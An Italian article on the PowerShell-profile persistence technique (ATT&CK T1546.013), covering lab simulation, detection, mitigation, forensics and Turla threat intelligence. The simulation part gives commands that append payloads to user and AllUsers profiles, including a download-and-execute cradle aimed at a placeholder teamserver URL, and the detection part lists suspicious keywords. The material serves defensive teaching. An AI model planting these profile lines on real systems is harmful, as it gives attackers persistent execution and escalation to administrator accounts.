Persistenza via Profilo PowerShell: PowerShell Profile (T1546.013)

La simulazione di questa tecnica in ambiente lab è estremamente diretta e non richiede tool esterni. L'obiettivo è dimostrare al cliente che una semplice riga aggiunta a un file di testo garantisce esecuzione persistente ad ogni sessione PowerShell.

Il primo passo è enumerare i profili esistenti. PowerShell espone la variabile automatica $PROFILE con diverse proprietà:

$PROFILE | Select-Object *

Questo comando restituisce i quattro percorsi standard: CurrentUserCurrentHost, CurrentUserAllHosts, AllUsersCurrentHost e AllUsersAllHosts. In un engagement, il profilo più interessante per la privilege escalation è l'ultimo, perché viene caricato da qualsiasi utente — inclusi gli account amministrativi. Il percorso tipico è C:\Windows\System32\WindowsPowerShell\v1.0\profile.ps1.

Per simulare la persistenza utente, basta appendere una riga al profilo corrente:

Add-Content -Path $PROFILE.CurrentUserAllHosts -Value 'Start-Process calc.exe'

Se il file non esiste ancora, va creato prima con la directory padre:

New-Item -Path $PROFILE.CurrentUserAllHosts -ItemType File -Force

Per simulare la privilege escalation, è necessario operare sul profilo AllUsers. Da una sessione elevata:

Add-Content -Path $PROFILE.AllUsersAllHosts -Value 'whoami | Out-File C:\temp\context.txt'

Quando un domain admin aprirà PowerShell, il file context.txt confermerà l'esecuzione nel contesto elevato. In uno scenario red team più realistico, il payload potrebbe caricare un modulo offensivo o stabilire una reverse shell. Un esempio con callback HTTP:

Add-Content -Path $PROFILE.CurrentUserAllHosts -Value 'IEX (New-Object Net.WebClient).DownloadString("<url-teamserver>")'

Per la fase di cleanup, il red teamer deve documentare esattamente quale profilo è stato modificato e ripristinare il contenuto originale (o rimuovere il file se prima non esisteva). Lo strumento Invoke-AtomicRedTeam (open source) include il test atomico T1546.013 che automatizza creazione, verifica e cleanup del profilo. Un aspetto cruciale da verificare durante il test: quante sessioni PowerShell automatiche esistono nell'ambiente? Script schedulati, runbook di automazione, sessioni di remoting — ognuna caricherà il profilo a meno che non usi il flag -NoProfile.

La detection di questa tecnica si gioca sulla correlazione tra due eventi distinti: la modifica di un file profile.ps1 e il successivo avvio di una sessione PowerShell che lo carica. Nessuno dei due eventi, preso singolarmente, è sospetto — un amministratore che personalizza il proprio profilo è routine. La chiave è il contesto.

La prima log source è Sysmon (open source, Microsoft Sysinternals). L'EventCode 11 (FileCreate) cattura la creazione o sovrascrittura dei file profilo. La regola deve monitorare i percorsi noti:

• C:\Windows\System32\WindowsPowerShell\v1.0\profile.ps1
• C:\Windows\System32\WindowsPowerShell\v1.0\Microsoft.PowerShell_profile.ps1
• C:\Users\<utente>\Documents\WindowsPowerShell\profile.ps1
• C:\Users\<utente>\Documents\PowerShell\profile.ps1 (PowerShell 7+)

L'EventCode 1 (ProcessCreate) di Sysmon registra ogni lancio di powershell.exe o pwsh.exe, includendo la riga di comando completa. Un processo PowerShell che non contiene -NoProfile nella command line, avviato entro una finestra temporale dalla modifica del profilo, genera la correlazione significativa.

La seconda log source essenziale è PowerShell Script Block Logging — EventCode 4104 nel log Microsoft-Windows-PowerShell/Operational. Questo evento registra il contenuto effettivo di ogni blocco di script eseguito, incluso il profilo. Un alert efficace cerca blocchi provenienti da percorsi profile.ps1 che contengono keyword sospette: Net.WebClient, DownloadString, Invoke-Expression, Start-Process, EncodedCommand, oppure riferimenti a moduli non standard.

Per la gestione dei falsi positivi, il tuning si basa su tre parametri documentati dalla detection strategy: il contesto di esecuzione (un profilo modificato e poi caricato da SYSTEM o un domain admin ha priorità massima), i moduli o script caricati (escludere i moduli aziendali noti, come quelli di configuration management), e la finestra temporale tra modifica e primo caricamento. Un profilo modificato sei mesi fa e caricato quotidianamente è baseline; un profilo creato cinque minuti prima del primo lancio PowerShell è anomalo.

Come controllo preventivo, la mitigazione più incisiva è la firma del codice: configurare l'execution policy su AllSigned impone che anche il profilo sia firmato con un certificato trusted, neutralizzando qualsiasi injection non firmata. A complemento, i permessi restrittivi sui file profilo AllUsers — modificabili solo da account specifici — eliminano il vettore di escalation.

L'analisi forense di una persistenza via profilo PowerShell inizia dal filesystem e si espande ai log di esecuzione. Il profilo è un file di testo puro, quindi l'artefatto primario è il file profile.ps1 stesso con i suoi timestamp MACB — Modified, Accessed, Changed, Birth (creation). In NTFS, la Master File Table conserva sia i timestamp $STANDARD_INFORMATION che $FILE_NAME, e la discrepanza tra i due può rivelare timestomping.

Lo strumento MFTECmd di Eric Zimmerman (open source) permette di parsare la MFT ed estrarre i timestamp di ogni file profilo:

MFTECmd.exe -f C:\$MFT --csv C:\output\ --csvf mft_output.csv

Filtrando il CSV per profile.ps1 si ottengono tutti i profili presenti nel volume con i relativi timestamp di creazione e ultima modifica. Il confronto con la timeline di attività dell'attaccante stabilisce quando il profilo è stato alterato.

Il secondo artefatto critico è il contenuto dei log PowerShell Script Block — EventCode 4104. Ogni blocco di script eseguito dal profilo viene registrato con timestamp, RunspaceId e il testo completo. Se l'attaccante ha inserito un downloader o un modulo offensivo, il log contiene il payload. Questi eventi risiedono nel file .evtx del canale Microsoft-Windows-PowerShell/Operational, esportabile con EvtxECmd (open source):

EvtxECmd.exe -f "Microsoft-Windows-PowerShell%4Operational.evtx" --csv C:\output\

La USN Journal — il diario delle modifiche NTFS — registra ogni operazione di scrittura sui file. Lo strumento MFTECmd parsando il $J mostra cronologicamente ogni modifica al profilo, incluse scritture parziali, rinominazioni e cancellazioni. Questo è fondamentale quando l'attaccante ha modificato il profilo, ottenuto persistenza, e poi lo ha ripristinato per coprire le tracce.

Per ricostruire chi ha modificato il profilo, le SACL di audit sul file (se configurate) generano EventCode 4663 nel Security log, registrando l'account, il processo e il tipo di accesso. In alternativa, Sysmon EventCode 11 cattura il processo responsabile della creazione del file — un cmd.exe o un powershell.exe lanciato da un servizio sospetto è un indicatore forte.

Nella ricostruzione della timeline, l'analista dovrebbe correlare: il timestamp di creazione/modifica del profilo → il primo EventCode 4104 contenente il payload → gli EventCode 1 di Sysmon che mostrano i processi figli generati dal profilo. Questo trittico stabilisce con precisione il momento dell'impianto, la prima esecuzione e l'impatto operativo.

Il panorama degli attori che sfruttano i profili PowerShell per la persistenza è ristretto ma significativo. L'unico gruppo documentato è Turla (G0010), un attore di spionaggio cyber associato a operazioni di lunga durata contro obiettivi governativi, diplomatici e di difesa, prevalentemente in Europa e nelle regioni ex-sovietiche.

Turla ha utilizzato i profili PowerShell come meccanismo di persistenza su macchine compromesse. Questo si inserisce coerentemente nel modus operandi del gruppo, che privilegia tecniche di persistenza silenziose e difficili da distinguere dalla normale attività di sistema. L'uso di strumenti nativi dell'ambiente — noto come living-off-the-land — è un tratto distintivo di Turla, che riduce la superficie di rilevamento evitando di introdurre binari esterni. Il profilo PowerShell rappresenta un esempio emblematico di questo approccio: nessun file eseguibile aggiuntivo, nessuna chiave di registro anomala, solo una riga in più in un file di configurazione legittimo.

Dal punto di vista dell'intelligence predittiva, la tecnica del profilo PowerShell è tipicamente un componente secondario — non il vettore di accesso iniziale, ma un meccanismo di radicamento post-compromissione. Quando un analista la identifica, dovrebbe cercare tracce di tecniche complementari: il lateral movement che ha portato l'attaccante alla macchina target, l'eventuale credential access che gli ha fornito i permessi per modificare il profilo AllUsers, e il canale C2 che il profilo alimenta ad ogni sessione.

Un pattern rilevante per il threat intelligence è la scelta del profilo come indicatore della sofisticazione dell'operatore. Un attore che modifica il profilo CurrentUser cerca persistenza rapida e accetta un raggio limitato. Un attore che modifica il profilo AllUsers ambisce alla privilege escalation — attende che un account con privilegi elevati apra una sessione PowerShell. Questa seconda modalità suggerisce un operatore paziente, con buona conoscenza dell'ambiente target e disponibilità ad aspettare che il contesto operativo maturi naturalmente.

La scarsa diffusione documentata della tecnica (un solo gruppo) non deve ingannare: la semplicità di implementazione la rende accessibile a qualsiasi operatore post-iniziale. La detection limitata negli ambienti che non monitorano i file profilo ne aumenta l'attrattiva per attori che puntano alla persistenza a lungo termine.

Framework MITRE ATT&CK v16 — T1546.013, TA0003, TA0004, G0010, M1045, M1022, M1054. Detection: DET0451, AN1245. Tool di detection: Sysmon (EventCode 1, 11), PowerShell Script Block Logging (EventCode 4104), MFTECmd, EvtxECmd, Invoke-AtomicRedTeam. Integrato con conoscenza professionale per tool e procedure operative.